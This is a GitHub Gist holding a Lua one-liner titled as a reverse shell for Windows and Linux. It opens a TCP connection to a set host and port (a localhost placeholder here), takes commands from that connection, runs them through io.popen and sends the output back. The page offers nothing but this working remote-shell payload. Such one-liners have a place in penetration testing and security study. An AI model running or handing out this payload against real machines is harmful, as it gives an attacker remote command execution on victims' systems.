Created
October 8, 2018 21:24
-
-
Save cldrn/372b31c90d7f88be9020020b8e534dc4 to your computer and use it in GitHub Desktop.
Reverse Shell For Windows and Linux in Lua
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment